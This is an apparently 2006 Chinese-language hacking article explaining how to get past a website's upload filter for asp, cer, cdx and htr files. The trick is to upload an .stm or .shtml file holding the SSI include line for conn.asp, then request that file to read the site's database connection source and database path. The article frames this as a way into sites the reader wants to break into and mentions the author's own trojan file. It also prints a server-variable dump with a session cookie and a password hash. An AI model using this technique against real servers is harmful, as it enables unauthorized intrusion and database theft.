不允许上传asp,cer,cdx,htr时怎么办
2006-07-04 赛迪网社区
利用stm来上传,还能执行程序,代码:
说保存为stm或者shtml看看,运行如下:
HTTP_ACCEPT:image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword,
*/* HTTP_ACCEPT_LANGUAGE:zh-cn HTTP_CONNECTION:Keep-Alive
HTTP_HOST:localhost HTTP_USER_AGENT:Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)
HTTP_COOKIE:nbblastactivity=1100263629; bblastvisit=1100264583;
bblastactivity=1100265530; bbuserid=1;
bbpassword=0f8514d1ed2eaa91fb9a87a568f6c96f;
ASPSESSIONIDAQTSDRQQ=JOGDCEBDCNKFMLGDNFHPDHMJ
HTTP_ACCEPT_ENCODING:gzip, deflate 当前文件名称:F:Web1.stm |
Web服务器的名称和版本:Microsoft-IIS/5.0 主机名:localhost 端口:80 客户或客户代理IP地址:127.0.0.1 客户或客户代理主机名:127.0.0.1 PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路 径:F:Web1.stm 客户端给出附加路径信息:/1.stm image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Quoted from Unkown: |
当网站不允许上传asp cer cdx htr等文件时, 上传一个stm文件, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件, conn.asp就一览无遗, 数据库路径也就到手啦。 原来就是如上所说的,
<!--#include file="conn.asp"-->
就是一条SSI指令,其作用是将"info.htm"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示info.htm其中的内容。 我在本地试验成功!在我的iis目录下建了一个test.stm文件,内容为:
<!--#include file="conn.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp在浏览器中请求test.stm,没有什么反映,一片空白。但是一查看源代码,狂晕,原来就是我的asp文件的内容!这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,但是一个前提是服务器的对stm或者shtml的扩展没有删除!
|
热词搜索:
上一篇:路由技术:在SCO UNIX架设简单路由器
下一篇:打造顶级坚固的“钛金” 进程防火墙